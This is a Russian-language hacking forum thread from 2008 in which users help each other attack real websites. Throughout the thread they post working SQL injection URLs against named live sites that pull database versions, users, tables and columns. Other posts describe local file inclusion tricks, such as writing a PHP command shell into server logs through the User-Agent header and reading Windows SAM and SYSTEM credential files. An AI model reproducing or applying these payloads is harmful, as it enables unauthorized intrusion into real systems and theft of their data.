There has been an error in the database (queryDatabase; SELECT * FROM EIPC_PRODUCT WHERE ID=-16 union select 1,gangsta,3,4,5,6,7,8,9,10,11,12,13*; ;)

Ваще жесть)))).Только только дошёл до таблицы,и вылетела ошибка.Не совсем понял,че произошло,разъясните ктонить:Р

Велемир
16.02.2008, 20:55
Сорь,нашёл статью по работе с третьей весии скуля,щас примемся за обучение:Р

Велемир
16.02.2008, 22:01
http://www.eipcprograms.com/product.php?id=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12 ,13+from+information_schema.tables+limit+1,1/*

Да вродь нет(

Велемир
16.02.2008, 22:06
а ф топку этот сайт,помоему он ни на что не катит:РР.Одни ошибки и толком инче нету

GreenTiger
16.02.2008, 22:06
User 'u70382875' has exceeded the 'max_user_connections'
Налетели блин :)

Велемир
16.02.2008, 22:41
http://www.umpcportal.com/products/product.php?id=-161+order+by+2/*


Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/www.umpcportal.com/products/product.php on line 123

Хоть и знаю,что это такое,но всё равно, не даёт мне покоя,что мне делать,как мне быть,как мне эту хрень забыть(.А понт в том,что если вместо 2 подставить 1,то все ошибки чудесным образом пропадают)),через юнион ничерта не работает.Версия мускула четвёртая,знач юнион должен пахать,и значит скуля есть.Конструкицю ака /**/ пробывал.

ZAMUT
16.02.2008, 22:44
www.umpcportal.com/products/product.php?id=-1+union+select+concat_ws(0x3a,version(),user(),dat abase())/*
4.0.24_Debian-10sarge2-log:carrypad@localhost:carrypadproducts

не понял, в чем у тебя проблема =\

Scipio
16.02.2008, 22:47
http://www.umpcportal.com/products/product.php?id=-161%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,32,33,34,35,36,37/*

Велемир
16.02.2008, 22:52
Не пойму каким макаром ты подбирал,я через order by пробывал

ZAMUT
16.02.2008, 22:55
Ищи табы, потом колонки.
Вот что нашел я:
http://www.umpcportal.com/products/product.php?id=-1+union+select+concat_ws(0x3a,id,name,status)+from +products/*

Велемир
16.02.2008, 22:58
Как их искать,если не знаешь,какие(я про таблицы).

Scipio
16.02.2008, 22:59
Не пойму каким макаром ты подбирал,я через order by пробывал

ОМГ,
http://www.umpcportal.com/products/product.php?id=-161+order+by+38/*
обрати внимание на ошибку вверху страницы

http://www.umpcportal.com/products/product.php?id=-161+order+by+37/*
обрати внимание, что ошибки нет

Велемир
16.02.2008, 23:05
Да вот ща ток заметил,там хрен разберёшь- столько ошибок хоть убейсо:Р

Велемир
16.02.2008, 23:11
У мя такое ощущение,что есть список таблиц этой версии,ибо сбрутить или догадаться самому это анриал =__________=

bobob
17.02.2008, 01:20
лол

есть просто списки как при бруте паса по словарю вот и все, а как назвать таблу - это дело владельца дб

эт всёравно что сказать - есть список всех пасов от инета

Велемир
17.02.2008, 02:51
Гггг))))).Ясн,всем спасиб :РР

o3,14um
18.02.2008, 05:43
у меня вопрос: что можно сделать с локальным пхп-инклудом, если:
+инклуд лога я запарол, тепрь там ошибка (error.log и access.log, других там нет).
+загружать на сервер нифига нельзя.
+стоит винда, могу прочесть файлы WINDOWS\repair\sam и C:\WINDOWS\repair\system, но конечно же если их сохранять через страницу - расшифровать их неудастся - повредится структура.
+проверял файл тоталкоммандера - его там нет.
+БД там стоит ibase

Посоветуйте что-нить дельное. Благодарствую!

Scipio
18.02.2008, 05:58
ты уверен, что там локальный инклюд? посмотри еслть ли возможность заливать какие нибудь файлы, картинки и т.п. например аватары залей тогда гифку со скриптом и попробуй ее проинклюдть

o3,14um
18.02.2008, 16:20
я же говорю, нихрена нельзя заливать. 100% локальный инклуд.
мот кто знает БД ibase в каком файле пароли хранятся? Щас поищу в инете этот серв, буду сам разбираться, но всерано оставляйте свои предложения.

И Ещё: как правильно в логи шелл записывать? У себя на окалхосте я писал <?system($_POST[cmd])?> и писалось, а на том сервере пришлось вопросики урл-закодировать, но что-то не прокатило (шелл был вида <?include("http://shell")?>? нужно было делать такой <?system($_POST[cmd])?>, но я уже запорол... (пост - потомучто инклуд, с параметрами гет, там почемуто не инклудит - еррор выдает))

ошібка такая:
Parse error: parse error, unexpected T_STRING in C:\Program Files\ХХХ\Apache\logs\error.log on line 45831

Macro
18.02.2008, 18:46
инклудь access.log, скрипт передавай в юзер-агенте. Если уже запорол, жди пока лог обнулится.

0nep@t0p
18.02.2008, 20:28
Всем хай !
У меня вопрос, могу ли я осуществить поиск по базе майскуль через инъекцию, например, есть скуль - http://site.ru/index.php?id=1'+union+select+1,2,3,4,5/*
Там крайне много таблиц с юзерами, мне нужна лишь одна из них, с авторизацией на главной паге, я зарегистрировался, и поставил, скажем пасс 123456, и хочу найти по базе таблицу в которой есть значение 123456, возможно ли это ?

.Slip
18.02.2008, 20:56
Нет, насколько мне известно выборку/поиск можно осуществлять только зная таблицу. Т.к. человек не сможет перечислить все предметы что лежат в ящике, не открыв самого ящика. Да и такой извращенский запрос я представить не могу.

Jokester
18.02.2008, 21:09
можно для 5-й версии по столбцу ,примерно так:
+union+select+table_name+from+information_schema.c olumns+where+column_name='password'/*
но надо знать столбец

Constantine
18.02.2008, 21:11
jokester точно знать не надо, на случай если префикс у колонки
+union+select+table_name+from+information_schema.c olumns+where+column_name+like+%pas%/*

Scipio
18.02.2008, 21:20
можно для 5-й версии по столбцу ,примерно так:
+union+select+table_name+from+information_schema.c olumns+where+column_name='password'/*
но надо знать столбец

Нет, японял о чем ты говоришь но это не то, .Slip правильно сказал в Information_schema нет информации о содержимом полей (что вполне логично) хотя еслиб для регулярок были бы такие функции как в php (ну там карманы и все такое, то мож и можно было ченить придумать, хотя не уверен) вобще меня что то смущает в этом, но это так скорее паранойя

Jokester
18.02.2008, 21:32
согласен со всеми ,просто дополнял ответ .Slip он пишет "только зная таблицу"

.Slip
18.02.2008, 21:32
jokester точно знать не надо, на случай если префикс у колонки
+union+select+table_name+from+information_schema.c olumns+where+column_name+like+%pas%/*
Как он выведет имя таблицы из таблицы с данными о колонках? Ведь данные из infotmation_schema.columns по сути своей считываются с выражением Where.

PS Или Constantin'у и jokester'у пора идти читать маны, или мне:)

Moldman
18.02.2008, 21:33
Сайт http://www.faces.md/ сделан на PHP и использует MySQL но у меня мозги не шарят как найти уязвимость к коде или базе если в адресной строки ничего конкретного не отображается кроме http://www.faces.md/user/226955
Жду помощи

Jokester
18.02.2008, 21:34
2 .Slip поверь это работает

Constantine
18.02.2008, 21:35
.Slip я не отвечал на конкретно поставленный вопрос, просто подсказал джокстеру, что точно знать название колонки, для получения имени таблицы содержащий эту колонку не надо..
з\ы или тебя сама конструкция запроса смутила?

Scipio
18.02.2008, 21:39
.Slip я не отвечал на конкретно поставленный вопрос, просто подсказал джокстеру, что точно знать название колонки, для получения имени таблицы содержащий эту колонку не надо..
з\ы или тебя сама конструкция запроса смутила?

Полностью согласен, это как в MSSQL или SYBASE в syscolumns есть информация о объектах которым принадлежат колонки (только там id объекта) а в мускуле именно имя таблицы

Jokester
18.02.2008, 21:42
2 .Slip
можно даже имя базы оттуда вытащить
пример(бага старая найдена не мной)
_http://chaplains.harvard.edu/chaplains/profile.php?id=-1+union+select+1,2,3,concat(table_schema,char(58), table_name),5,6,7,8,9,10,11+from+information_schem a.columns+where+column_name=0x75736572+limit+1,1/*

.Slip
18.02.2008, 21:46
Мм.. Дам-с, лоханулся я тут.

ZAMUT
18.02.2008, 21:48
2 .Slip
можно даже имя базы оттуда вытащить
пример(бага старая найдена не мной)
_http://chaplains.harvard.edu/chaplains/profile.php?id=-1+union+select+1,2,3,concat(table_schema,char(58), table_name),5,6,7,8,9,10,11+from+information_schem a.columns+where+column_name=0x75736572+limit+1,1/*
Этот прием показывал Grey

Spyder
18.02.2008, 21:49
разговор ни о чём
узнать имя таблицы по её содержимому нельзя, а дальше непонятная мне дискуссия про information_schema =\
PS онтечад

Spyder
18.02.2008, 22:05
История оценок репутации для Spyder:
+3 Ваши вопросы по уязвимо... 18.02.2008 20:55 ZAMUT если мускул 5.х то можно

Вот покажи мне запрос который вернёт имя таблицы, при том что я не знаю имён колонок и у меня только одно значение 123456. Кто сказал что колонка с паролями имеет в своём имени "pas", мб она называется "paroli"
В таком случае запрос Константина
select+table_name+from+information_schema.c olumns+where+column_name+like+%pas%/*
работать не будет, и вообще это больше похоже на игру "угадай буквы в имени колонки".
Ответ на вопрос 0nep@t0p'a нет, Слип и Scipio правильно написали, узнать таблицу по её содержимому нельзя

ZAMUT
18.02.2008, 22:08
Spyder, ну да только угадайка ..

MaSter GeN
18.02.2008, 23:04
http://www.newspress.fr/index.asp?lang=hfg'
собственно что енто уязвимость ? что из этого можно вообше можно выжать если вообше можно ? собственно с таким первый раз сталкиваюсь :(


собственно при подставлении в значение ленг сужествуюшего фаыла начинаеть материться под другому тока на французком :)

Macro
18.02.2008, 23:13
Это mssql инъекция
http://www.newspress.fr/index.asp?lang='+or+1=@@version--